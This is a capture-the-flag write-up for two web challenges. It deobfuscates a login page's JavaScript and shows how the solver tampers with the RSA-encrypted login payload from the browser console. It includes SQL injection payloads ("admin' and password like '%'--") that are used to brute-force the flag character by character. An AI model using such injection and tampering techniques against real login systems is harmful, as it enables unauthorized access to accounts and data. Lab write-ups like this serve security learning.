Mystique
Visiting the challenge link, we get what looks like a login page.
Viewing the source - I discovered that the Sign Up button doesnāt do anything
Viewing the content of /static/index.js
It looks like obfuscated JavaScript so we need to deobfuscate it. There are different online tools we can use to do this, but I used deobfuscate.relative.im
const contractABI = [
{
inputs: [],
name: 'TOKEN_PRICE',
outputs: [
{
internalType: 'uint256',
name: '',
type: 'uint256',
},
],
stateMutability: 'view',
type: 'function',
},
{
inputs: [
{
internalType: 'uint256',
name: '_tokenToBuy',
type: 'uint256',
},
],
name: 'buy',
outputs: [],
stateMutability: 'payable',
type: 'function',
},
{
inputs: [
{
internalType: 'address',
name: '_user',
type: 'address',
},
],
name: 'getUserBalance',
outputs: [
{
internalType: 'uint256',
name: '',
type: 'uint256',
},
],
stateMutability: 'view',
type: 'function',
},
{
inputs: [],
name: 'name',
outputs: [
{
internalType: 'string',
name: '',
type: 'string',
},
],
stateMutability: 'view',
type: 'function',
},
{
inputs: [],
name: 'symbol',
outputs: [
{
internalType: 'string',
name: '',
type: 'string',
},
],
stateMutability: 'view',
type: 'function',
},
],
contractAddress = ''
nodeUrl = 'https://public.stackup.sh/api/v1/node/ethereum-sepolia'
const provider = new ethers.providers.Web3Provider(window.ethereum),
contract = new ethers.Contract(contractAddress, contractABI, provider),
signer = provider.getSigner(),
contractWithSigner = contract.connect(signer)
async function buyTokens() {
const _0x3a4362 = await getEthBalance(),
_0x416813 = await contract.TOKEN_PRICE()
console.log('Token_Price: ', _0x416813)
const _0x31d47f = parseInt(tokenBuyForm.value)
if (isNaN(_0x31d47f) || _0x31d47f <= 0) {
alert('Invalid token amount')
return
}
const _0x181d0f = _0x416813.mul(_0x31d47f),
_0x5d7f81 = parseInt(_0x181d0f.toHexString().toString())
if (_0x5d7f81 > _0x3a4362) {
alert('That costs more than you have. Check console log')
console.log('Your Balance (Wei)', _0x3a4362)
console.log('Wei required for purchase', _0x5d7f81)
return
}
contractWithSigner
.buy(_0x31d47f, { value: _0x5d7f81 })
.then(function (_0x11da9e) {
console.log('Transaction Hash:', _0x11da9e.hash)
alert('Tx Submitted')
})
.catch(function (_0x5304e1) {
console.error('Error:', _0x5304e1)
})
}
console.log('Hello from index.js!')
function isEthereumAvailable() {
return window.ethereum !== 'undefined'
}
const connectButton = document.getElementById('connect-btn'),
accountElement = document.getElementById('account'),
errorElement = document.getElementById('error'),
chainElement = document.getElementById('chain'),
balanceElement = document.getElementById('balance'),
formContractRead = document.getElementById('form-contract-read'),
tokenBuyForm = document.getElementById('buy_form'),
costElement = document.getElementById('cost'),
buyButton = document.getElementById('buy_btn'),
buyFlag = document.getElementById('buy_flag'),
flagText = document.getElementById('flag')
async function getChainId() {
const _0x4527ec = await window.ethereum.request({ method: 'eth_chainId' })
return _0x4527ec
}
function getChainName(_0x55e0cf) {
console.log(_0x55e0cf)
switch (_0x55e0cf) {
case '0xaa36a7':
return 'Sepolia Network'
default:
return 'Chain not supported. Switch to ETH Sepolia'
}
}
function showChain(_0x239f06) {
chainElement.textContent = getChainName(_0x239f06)
}
async function getAccounts() {
return window.ethereum.request({ method: 'eth_requestAccounts' })
}
async function getEthBalance() {
const _0xb2d7a1 = await getAccounts(),
_0x472ddd = _0xb2d7a1[0],
_0x1adc88 = await window.ethereum.request({
method: 'eth_getBalance',
params: [_0x472ddd, 'latest'],
}),
_0x4bd5b0 = parseInt(_0x1adc88, 16)
return _0x4bd5b0
}
function showBalance(_0x5d6af7) {
console.log(_0x5d6af7)
const _0x11d360 = (Number(_0x5d6af7) / Number(10 ** 18)).toFixed(3)
balanceElement.textContent = 'Balance: ' + _0x11d360 + 'ETH'
tokenBuyForm.setAttribute('max', _0x5d6af7)
}
function displayForm() {
formContractRead.style.display = 'flex'
buyFlag.style.display = 'flex'
}
function connect() {
return (
(connectButton.textContent = 'Loading...'),
(chainElement.textContent = ''),
(errorElement.textContent = ''),
getAccounts()
.then(showAccount)
.then(getChainId)
.then(showChain)
.then(getEthBalance)
.then(showBalance)
.then(displayForm)
.catch(showError)
)
}
function setPublicKey() {
var _0x1981d6 =
'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n',
_0x42b4b7 = new JSEncrypt()
return _0x42b4b7.setPublicKey(_0x1981d6), _0x42b4b7
}
function showAccount(_0x5b4f4c) {
if (_0x5b4f4c.length > 0) {
accountElement.textContent = ''
const _0x39905a = _0x5b4f4c[0].slice(0, 5) + '...' + _0x5b4f4c[0].slice(-4)
connectButton.textContent = _0x39905a
}
}
function showError(_0x354745) {
connectButton.textContent = 'Connect Wallet'
errorElement.textContent = _0x354745.message
}
function generateRandomText() {
var _0x5c05bd =
Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15)
return _0x5c05bd
}
function encryptData(_0x1db3cc, _0x6dcda1) {
var _0x1e3ced = 'user' + _0x6dcda1,
_0x59921a = _0x1db3cc.encrypt(_0x1e3ced)
return _0x59921a
}
async function updateCost() {
try {
const _0x35de24 = parseInt(tokenBuyForm.value)
if (isNaN(_0x35de24) || _0x35de24 <= 0) {
costElement.textContent = 'Invalid quantity'
return
}
const _0x2dbcf9 = await contract.TOKEN_PRICE(),
_0xf85b46 = Number(_0x2dbcf9),
_0x1b0302 = Number(_0x35de24 * _0xf85b46) / Number(10 ** 18)
costElement.textContent = 'Cost: ' + _0x1b0302.toFixed(18) + ' ETH'
} catch (_0x3328ec) {
console.error('Error calculating cost:', _0x3328ec)
costElement.textContent = 'Error calculating cost'
}
}
async function sendFlagConfirm() {
const _0x171dc8 = await fetch('/getAuthMessage'),
_0x24be27 = await _0x171dc8.json(),
_0x11a537 = await signer.signMessage(_0x24be27),
_0x2fe084 = await fetch('/buyFlag', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
signedMessage: _0x11a537,
Message: _0x24be27,
}),
}),
_0x22819f = await _0x2fe084.json(),
_0x4ec821 = _0x22819f.Flag
flagText.textContent = _0x4ec821
}
var myArray = []
myArray.push('apple')
myArray.push('banana')
myArray.push('orange')
for (var i = 0; i < myArray.length; i++) {
console.log(myArray[i])
}
function factorial(_0x3e556d) {
return _0x3e556d === 0 ? 1 : _0x3e556d * factorial(_0x3e556d - 1)
}
var num = 5
function isPrime(_0x20dbff) {
if (_0x20dbff <= 1) {
return false
}
for (var _0x480e6d = 2; _0x480e6d <= Math.sqrt(_0x20dbff); _0x480e6d++) {
if (_0x20dbff % _0x480e6d === 0) {
return false
}
}
return true
}
console.log('Is 17 prime? ' + isPrime(17))
function fibonacci(_0x37fb5b) {
var _0x114dcc = [0, 1]
for (var _0x145abb = 2; _0x145abb <= _0x37fb5b; _0x145abb++) {
_0x114dcc[_0x145abb] = _0x114dcc[_0x145abb - 1] + _0x114dcc[_0x145abb - 2]
}
return _0x114dcc
}
function sendEncryptedData(_0x488736) {
var _0x3f8870 = new XMLHttpRequest()
_0x3f8870.open('POST', '/Flag', true)
_0x3f8870.setRequestHeader(
'Content-Type',
'application/x-www-form-urlencoded'
)
_0x3f8870.onreadystatechange = function () {
if (_0x3f8870.readyState === 4 && _0x3f8870.status === 200) {
var _0x4dab41 = document.getElementById('output')
_0x4dab41.textContent = _0x3f8870.responseText
}
}
_0x3f8870.send('data=' + encodeURIComponent(_0x488736))
}
function init() {
isEthereumAvailable()
? ((connectButton.textContent = 'Connect Wallet'),
connectButton.removeAttribute('disabled'),
connectButton.addEventListener('click', connect),
buyButton.addEventListener('click', buyTokens),
tokenBuyForm.addEventListener('input', updateCost),
buyFlag.addEventListener('click', sendFlagConfirm))
: ((connectButton.textContent =
'Ethereum not available. Please install MetaMask!'),
alert('Ethereum not available. Please install Metamask!'),
connectButton.setAttribute('disabled', true))
}
function login() {
var _0x327735 = setPublicKey(),
_0x2ddfd8 = generateRandomText(),
_0x44638e = encryptData(_0x327735, _0x2ddfd8)
sendEncryptedData(_0x44638e)
}
init()
Nukās added some unimportant code in order to deceive us - I removed all the blockchain related code in order to clean up the code.
function setPublicKey() {
var _0x1981d6 =
'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n',
_0x42b4b7 = new JSEncrypt()
return _0x42b4b7.setPublicKey(_0x1981d6), _0x42b4b7
}
function generateRandomText() {
var _0x5c05bd =
Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15)
return _0x5c05bd
}
function encryptData(_0x1db3cc, _0x6dcda1) {
var _0x1e3ced = 'user' + _0x6dcda1,
_0x59921a = _0x1db3cc.encrypt(_0x1e3ced)
return _0x59921a
}
function sendEncryptedData(_0x488736) {
var _0x3f8870 = new XMLHttpRequest()
_0x3f8870.open('POST', '/Flag', true)
_0x3f8870.setRequestHeader(
'Content-Type',
'application/x-www-form-urlencoded'
)
_0x3f8870.onreadystatechange = function () {
if (_0x3f8870.readyState === 4 && _0x3f8870.status === 200) {
var _0x4dab41 = document.getElementById('output')
_0x4dab41.textContent = _0x3f8870.responseText
}
}
_0x3f8870.send('data=' + encodeURIComponent(_0x488736))
}
function login() {
var _0x327735 = setPublicKey(),
_0x2ddfd8 = generateRandomText(),
_0x44638e = encryptData(_0x327735, _0x2ddfd8)
sendEncryptedData(_0x44638e)
}
Still a little bit miss-leading but you can pretty much understand the whole functionality of the code. I renamed most of the obfuscated variables for better understanding.
function setPublicKey() {
var key =
'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n'
var jsEncryptedKey = new JSEncrypt()
return jsEncryptedKey.setPublicKey(key), jsEncryptedKey
}
function generateRandomText() {
var text =
Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15)
return text
}
function encryptData(publicKey, randomText) {
var data = 'user' + randomText,
encrypted_Data = publicKey.encrypt(data)
return encrypted_Data
}
function sendEncryptedData(encryptedData) {
var request = new XMLHttpRequest()
request.open('POST', '/Flag', true)
request.setRequestHeader(
'Content-Type',
'application/x-www-form-urlencoded'
)
request.onreadystatechange = function () {
if (request.readyState === 4 && request.status === 200) {
var message = document.getElementById('output')
message.textContent = request.responseText
}
}
request.send('data=' + encodeURIComponent(encryptedData))
}
function login() {
var publicKey = setPublicKey();
var randomText = generateRandomText();
var encryptedData = encryptData(publicKey, randomText);
sendEncryptedData(encryptedData);
}
When the login button is clicked, the login()
function is called which sets the following variables.
publicKey
stores a JSEncrypt
key object gotten from the setPublicKey()
function.
- The
setPublicKey()
function stores aPEM
key in the key variable.- creates a new
JSEncrypt
object and stores it in thejsEncryptedKey
variable.- it finally uses the
.setPublicKey()
method on theJSEncrypt
object to the set the public key to thePEM
key above.
randomText
stores a random text generated by the generateRandomText()
function.
encryptedData
stores the encrypted data returned from the encryptData()
function which takes publicKey
and randomText
as arguments
- The
encryptData
function stores the result of concatenating āuserā +randomText
in a variable data.- encrypts the data using the
publicKey.encrypt()
method
sendEncryptedData
makes a POST request to the /Flag endpoint with the encryptedData
as argument. Before the request is sent, the content of encryptedData
is URL-encoded
I solved this challenge by changing āuserā in the encryptData
function to āadminā
Steps to recreate.
Using your browser console(Ctrl + Shift + C), run the following.
> sendEncryptedData(encryptData(setPublicKey(),"admin"+generateRandomText()))
Daredevil
Visiting the challenge link, we get what looks like a login page.
Viewing the page source and checking the /src/index.js
file, I noticed this challenge is similar to the Mystique challenge.
So, follow the same process of deobfuscating the JavaScript code and removing the unimportant code (block-chain stuff).
I also renamed the obfuscated variables for better understanding.
function setPublicKey() {
var key =
'-----BEGIN PUBLIC KEY-----\n MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvKY9bxWNNQtoCukVNJuF\n Ap5sxruDlsoglCvKGwV92zke7P514+nFshua5m2FGXW3aLTUwy6Fh2CnH5sIz7EX\n MS3DvZ/VT8yJfRZtbTN8MdzynRrYJt6MofVP3fOjoxGi86rhKUV30tneOJxYT+tz\n izDWIlTL3dqC01gcpGbJTviWNTDyvYkXvV7ybo9krYz5GeU3X49unkyyKJ+IJA51\n 2Zg254eb064SIsYLP60rHLoCgh0gws33wiqIFEIBVpMn8+V1cxB8iVLcNl88lWMN\n EgcqK/hKHFBkBCJ0YWit5Zdn19vA+kdC0G7TvpiKeB8wXX3Zcn5+TbCPaJCp2r08\n TwIDAQAB\n -----END PUBLIC KEY-----'
var jsEncryptedKey = new JSEncrypt()
return jsEncryptedKey.setPublicKey(key), jsEncryptedKey
}
function generateRandomText() {
var text =
Math.random().toString(36).substring(2, 15) +
Math.random().toString(36).substring(2, 15)
return text
}
function encryptData(publicKey, randomText) {
var data = 'user' + randomText,
encrypted_Data = publicKey.encrypt(data)
return encrypted_Data
}
function sendEncryptedData(encryptedData) {
var request = new XMLHttpRequest()
request.open('POST', '/Flag', true)
request.setRequestHeader(
'Content-Type',
'application/x-www-form-urlencoded'
)
request.onreadystatechange = function () {
if (request.readyState === 4 && request.status === 200) {
var message = document.getElementById('output')
message.textContent = request.responseText
}
}
request.send('data=' + encodeURIComponent(encryptedData))
}
function login() {
var publicKey = setPublicKey(),
username = document.getElementById('username').value,
password = document.getElementById('password').value,
credentials = username + ':' + password,
encryptedData = encryptData(publicKey, credentials)
sendEncryptedData(encryptedData)
}
Steps to recreate
when you send the code below in your browser console, you should get
"Invalid Username or password"
as the response.
sendEncryptedData(encryptData(setPublicKey(), "admin:admin"))
but when you send this instead,
sendEncryptedData(encryptData(key,"admin' and password like '%'--:admin"))
we get
"Login for admin' and password like '%'-- not allowed"
as the response. This is a indication of SQLi with some input filtering set up, we can guess the password which is the flag by simply brute-forcing using a list of alphabets and numbers. If the character is wrong, we get āInvalid Username or passwordā as the response. I didnāt need to script in this challenge, would have been necessary if the flag was longer or had special characters.
This was the final payload
sendEncryptedData(encryptData(key,"admin' and password like 'actf{amazing_you_solved_it}'--:admin"))
Sorry I could not give a fully detailed write-up with enough screenshots and all, the ctf platform was taken down š.
Sayonara~š»